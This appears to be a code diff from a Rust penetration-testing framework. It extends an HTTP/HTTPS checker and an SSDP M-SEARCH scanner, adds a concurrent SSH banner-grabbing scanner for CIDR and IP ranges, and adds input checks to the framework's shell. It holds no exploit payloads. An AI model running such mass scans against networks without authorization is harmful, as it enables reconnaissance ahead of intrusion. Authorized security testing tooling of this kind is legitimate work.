if status.is_success() {
|
||||
println!("{}", format!("[+] HTTP {} -> {} (Server: {}, Content-Type: {})",
|
||||
url, status_str, server, content_type).green());
|
||||
} else if status.is_redirection() {
|
||||
let location = resp.headers()
|
||||
.get("location")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
println!("{}", format!("[~] HTTP {} -> {} (Redirect: {})", url, status_str, location).yellow());
|
||||
} else {
|
||||
println!("{}", format!("[-] HTTP {} -> {}", url, status_str).red());
|
||||
}
|
||||
|
||||
results.push(format!("HTTP {} -> {} (Server: {})", url, status_str, server));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] HTTP {} -> Error: {}", url, e).red());
|
||||
results.push(format!("HTTP {} -> Error: {}", url, e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check HTTPS
|
||||
if check_https {
|
||||
let url = if target.contains("://") {
|
||||
target.replace("http://", "https://")
|
||||
} else {
|
||||
format!("https://{}", target)
|
||||
};
|
||||
|
||||
if verbose {
|
||||
println!("{}", format!("[*] Checking {}...", url).dimmed());
|
||||
}
|
||||
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let status_str = status.to_string();
|
||||
let server = resp.headers()
|
||||
.get("server")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
let content_type = resp.headers()
|
||||
.get("content-type")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] HTTPS {} -> {} (Server: {}, Content-Type: {})",
|
||||
url, status_str, server, content_type).green());
|
||||
} else if status.is_redirection() {
|
||||
let location = resp.headers()
|
||||
.get("location")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
println!("{}", format!("[~] HTTPS {} -> {} (Redirect: {})", url, status_str, location).yellow());
|
||||
} else {
|
||||
println!("{}", format!("[-] HTTPS {} -> {}", url, status_str).red());
|
||||
}
|
||||
|
||||
results.push(format!("HTTPS {} -> {} (Server: {})", url, status_str, server));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] HTTPS {} -> Error: {}", url, e).red());
|
||||
results.push(format!("HTTPS {} -> Error: {}", url, e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
// Print summary
|
||||
println!();
|
||||
println!("{}", "=== Scan Summary ===".bold());
|
||||
println!(" Target: {}", target);
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
println!(" Checks: {}", results.len());
|
||||
|
||||
// Save results
|
||||
if save_results && !results.is_empty() {
|
||||
let filename = prompt_with_default("Output filename", "http_scan_results.txt")?;
|
||||
let mut file = File::create(&filename).context("Failed to create output file")?;
|
||||
writeln!(file, "HTTP Connectivity Scan Results")?;
|
||||
writeln!(file, "Target: {}", target)?;
|
||||
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64())?;
|
||||
writeln!(file)?;
|
||||
for result in &results {
|
||||
writeln!(file, "{}", result)?;
|
||||
}
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename).green());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{}", format!("{} [{}]: ", message, hint).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout() -> Result<u64> {
|
||||
print!("{}", "Timeout in seconds [10]: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(10)
|
||||
} else {
|
||||
trimmed.parse().map_err(|_| anyhow!("Invalid timeout"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,8 +2,10 @@ use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::net::SocketAddr;
|
||||
use std::time::Instant;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout as tokio_timeout, Duration};
|
||||
|
||||
@@ -25,11 +27,24 @@ impl SearchTarget {
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSDP M-SEARCH Scanner ║".cyan());
|
||||
println!("{}", "║ Discovers UPnP devices via SSDP protocol ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port = prompt_port().unwrap_or(1900);
|
||||
let timeout_secs = prompt_timeout().unwrap_or(3);
|
||||
let retries = prompt_retries().unwrap_or(1);
|
||||
let verbose = prompt_verbose().unwrap_or(false);
|
||||
let save_results = prompt_save_results().unwrap_or(false);
|
||||
|
||||
let target = clean_ipv6_brackets(target);
|
||||
// Validate target format
|
||||
@@ -39,9 +54,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Determine search targets
|
||||
let search_targets = prompt_search_targets()?;
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
|
||||
|
||||
let mut found_any = false;
|
||||
let mut results = Vec::new();
|
||||
let start_time = Instant::now();
|
||||
|
||||
for (idx, st) in search_targets.iter().enumerate() {
|
||||
if search_targets.len() > 1 {
|
||||
@@ -60,7 +78,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
match send_ssdp_request(&target, port, st, Duration::from_secs(timeout_secs), verbose).await {
|
||||
Ok(Some(response)) => {
|
||||
found_any = true;
|
||||
parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
let result = parse_ssdp_response(&response, &target, port, st.st_header());
|
||||
if let Some(r) = result {
|
||||
results.push(r);
|
||||
}
|
||||
break; // Success, no need to retry
|
||||
}
|
||||
Ok(None) => {
|
||||
@@ -82,10 +103,41 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Target: {}:{}", target, port);
|
||||
println!(" Search types: {}", search_targets.len());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Devices found: {}", if found_any {
|
||||
results.len().to_string().green().to_string()
|
||||
} else {
|
||||
"0".red().to_string()
|
||||
});
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
|
||||
if !found_any {
|
||||
println!();
|
||||
println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow());
|
||||
}
|
||||
|
||||
// Save results if requested
|
||||
if save_results && !results.is_empty() {
|
||||
let filename = format!("ssdp_scan_{}.txt", target.replace([':', '.', '[', ']'], "_"));
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
writeln!(file, "SSDP M-SEARCH Scan Results").ok();
|
||||
writeln!(file, "Target: {}:{}", target, port).ok();
|
||||
writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64()).ok();
|
||||
writeln!(file).ok();
|
||||
for result in &results {
|
||||
writeln!(file, "{}", result).ok();
|
||||
}
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename).green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -232,6 +284,22 @@ fn prompt_verbose() -> Option<bool> {
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user to save results
|
||||
fn prompt_save_results() -> Option<bool> {
|
||||
print!("{}", "[*] Save results to file? [y/N]: ".cyan().bold());
|
||||
std::io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim().to_lowercase();
|
||||
match input.as_str() {
|
||||
"y" | "yes" => return Some(true),
|
||||
"n" | "no" | "" => return Some(false),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Ask user for search targets
|
||||
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
let mut targets = Vec::new();
|
||||
@@ -282,7 +350,7 @@ fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) -> Option<String> {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
("location", r"(?i)Location:\s*(.*?)\r\n"),
|
||||
@@ -314,19 +382,17 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1");
|
||||
|
||||
if status_ok {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip,
|
||||
port,
|
||||
results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()),
|
||||
results.get("server").unwrap_or(&String::new()),
|
||||
results.get("location").unwrap_or(&String::new()),
|
||||
results.get("usn").unwrap_or(&String::new())
|
||||
)
|
||||
.green()
|
||||
let st_value = results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()).clone();
|
||||
let server = results.get("server").unwrap_or(&String::new()).clone();
|
||||
let location = results.get("location").unwrap_or(&String::new()).clone();
|
||||
let usn = results.get("usn").unwrap_or(&String::new()).clone();
|
||||
|
||||
let result_line = format!(
|
||||
"{}:{} | ST: {} | Server: {} | Location: {} | USN: {}",
|
||||
target_ip, port, st_value, server, location, usn
|
||||
);
|
||||
|
||||
println!("{}", format!("[+] {}", result_line).green());
|
||||
|
||||
// Show additional headers if present
|
||||
if let Some(cache) = results.get("cache-control") {
|
||||
@@ -334,11 +400,14 @@ fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) {
|
||||
println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
Some(result_line)
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line)
|
||||
.yellow()
|
||||
);
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,441 @@
|
||||
//! SSH Service Scanner Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - scans for SSH services and grabs banners.
|
||||
//! Supports IPv4/IPv6, CIDR ranges, and concurrent scanning.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Read, Write},
|
||||
net::{SocketAddr, TcpStream, ToSocketAddrs},
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
const DEFAULT_THREADS: usize = 50;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Service Scanner ║".cyan());
|
||||
println!("{}", "║ Scan networks for SSH services and grab banners ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Features: ║".cyan());
|
||||
println!("{}", "║ - CIDR range support ║".cyan());
|
||||
println!("{}", "║ - IPv4/IPv6 support ║".cyan());
|
||||
println!("{}", "║ - Banner grabbing ║".cyan());
|
||||
println!("{}", "║ - Concurrent scanning ║".cyan());
|
||||
println!("{}", "║ - Results export ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_scanned: AtomicU64,
|
||||
ssh_found: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_scanned: AtomicU64::new(0),
|
||||
ssh_found: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_scan(&self, found_ssh: bool, error: bool) {
|
||||
self.total_scanned.fetch_add(1, Ordering::Relaxed);
|
||||
if found_ssh {
|
||||
self.ssh_found.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let scanned = self.total_scanned.load(Ordering::Relaxed);
|
||||
let found = self.ssh_found.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { scanned as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} scanned | {} SSH | {} errors | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
scanned.to_string().bold(),
|
||||
found.to_string().green(),
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Scan Summary ===".cyan().bold());
|
||||
println!("Total scanned: {}", self.total_scanned.load(Ordering::Relaxed));
|
||||
println!("SSH services found: {}", self.ssh_found.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// SSH scan result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SshScanResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub banner: String,
|
||||
}
|
||||
|
||||
/// Grab SSH banner from a host
|
||||
fn grab_ssh_banner(host: &str, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
// Build address
|
||||
let addr_str = if host.contains(':') && !host.starts_with('[') {
|
||||
format!("[{}]:{}", host, port)
|
||||
} else {
|
||||
format!("{}:{}", host, port)
|
||||
};
|
||||
|
||||
// Resolve and connect
|
||||
let addrs: Vec<SocketAddr> = match addr_str.to_socket_addrs() {
|
||||
Ok(a) => a.collect(),
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
if addrs.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
for addr in addrs {
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&addr, timeout) {
|
||||
let _ = stream.set_read_timeout(Some(timeout));
|
||||
let _ = stream.set_write_timeout(Some(timeout));
|
||||
|
||||
let mut stream = stream;
|
||||
let mut buffer = [0u8; 256];
|
||||
|
||||
match stream.read(&mut buffer) {
|
||||
Ok(n) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buffer[..n])
|
||||
.trim()
|
||||
.to_string();
|
||||
if banner.starts_with("SSH-") {
|
||||
return Some(banner);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load targets from file
|
||||
fn load_targets_from_file(path: &str, port: u16) -> Result<Vec<(String, u16)>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for line in reader.lines() {
|
||||
let line = line?;
|
||||
let line = line.trim();
|
||||
if line.is_empty() || line.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check for port override (host:port)
|
||||
if let Some((host, port_str)) = line.rsplit_once(':') {
|
||||
if let Ok(p) = port_str.parse::<u16>() {
|
||||
targets.push((host.to_string(), p));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
targets.push((line.to_string(), port));
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
/// Main scan function
|
||||
pub async fn scan_ssh(
|
||||
targets: Vec<(String, u16)>,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Vec<SshScanResult> {
|
||||
let total = targets.len();
|
||||
println!("{}", format!("[*] Scanning {} targets...", total).cyan());
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Scan tasks
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
|
||||
let host_clone = host.clone();
|
||||
let result = spawn_blocking(move || {
|
||||
grab_ssh_banner(&host_clone, port, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Some(banner)) => {
|
||||
stats.record_scan(true, false);
|
||||
let result = SshScanResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
banner: banner.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[+] {}:{} - {}", host, port, banner).green());
|
||||
let _ = std::io::stdout().flush();
|
||||
results.lock().await.push(result);
|
||||
}
|
||||
Ok(None) => {
|
||||
stats.record_scan(false, false);
|
||||
}
|
||||
Err(_) => {
|
||||
stats.record_scan(false, true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SshScanResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
|
||||
writeln!(file, "# SSH Scan Results")?;
|
||||
writeln!(file, "# Generated by RustSploit SSH Scanner")?;
|
||||
writeln!(file, "# Total: {} SSH services found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} - {}", result.host, result.port, result.banner)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Parse initial target
|
||||
if !target.trim().is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", target).cyan());
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
|
||||
|
||||
// Add initial target
|
||||
if !target.trim().is_empty() {
|
||||
targets.extend(parse_targets(target, port));
|
||||
}
|
||||
|
||||
// Add additional targets
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let file_path = prompt("File path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_targets_from_file(&file_path, port) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
// Run scan
|
||||
let results = scan_ssh(targets, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "ssh_scan_results.txt")?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] SSH scanner complete. Found {} services.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
+128
-11
@@ -8,11 +8,15 @@ use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Mutex;
|
||||
use url::Url;
|
||||
|
||||
const MAX_INPUT_LENGTH: usize = 4096;
|
||||
const MAX_PROXY_LIST_SIZE: usize = 10_000;
|
||||
const MAX_TARGET_LENGTH: usize = 512;
|
||||
const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
|
||||
const MAX_URL_LENGTH: usize = 2048;
|
||||
const MAX_PATH_LENGTH: usize = 4096;
|
||||
const MAX_PROMPT_INPUT_LENGTH: usize = 1024;
|
||||
|
||||
/// Simple interactive shell context
|
||||
struct ShellContext {
|
||||
@@ -721,11 +725,33 @@ fn prompt_for_path(message: &str) -> io::Result<String> {
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let value = input.trim();
|
||||
if !value.is_empty() {
|
||||
return Ok(value.to_string());
|
||||
|
||||
// Length check
|
||||
if input.len() > MAX_PATH_LENGTH {
|
||||
println!("{}", format!("Path too long (max {} characters).", MAX_PATH_LENGTH).yellow());
|
||||
continue;
|
||||
}
|
||||
println!("Path cannot be empty. Please try again.");
|
||||
|
||||
let value = input.trim();
|
||||
|
||||
if value.is_empty() {
|
||||
println!("Path cannot be empty. Please try again.");
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if value.chars().any(|c| c.is_control()) {
|
||||
println!("{}", "Path cannot contain control characters.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Basic path traversal check
|
||||
if value.contains("..") {
|
||||
println!("{}", "Path cannot contain '..' (path traversal).".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
return Ok(value.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -734,21 +760,64 @@ fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
|
||||
// Length check
|
||||
if input.len() > MAX_PROMPT_INPUT_LENGTH {
|
||||
println!("{}", format!("Input too long (max {} characters). Using default.", MAX_PROMPT_INPUT_LENGTH).yellow());
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
|
||||
let trimmed = input.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
println!("{}", "Input cannot contain control characters. Using default.".yellow());
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
|
||||
// If this looks like a URL, validate it
|
||||
if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
|
||||
if trimmed.len() > MAX_URL_LENGTH {
|
||||
println!("{}", format!("URL too long (max {} characters). Using default.", MAX_URL_LENGTH).yellow());
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
|
||||
if Url::parse(trimmed).is_err() {
|
||||
println!("{}", "Invalid URL format. Using default.".yellow());
|
||||
return Ok(default.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
|
||||
let default_hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
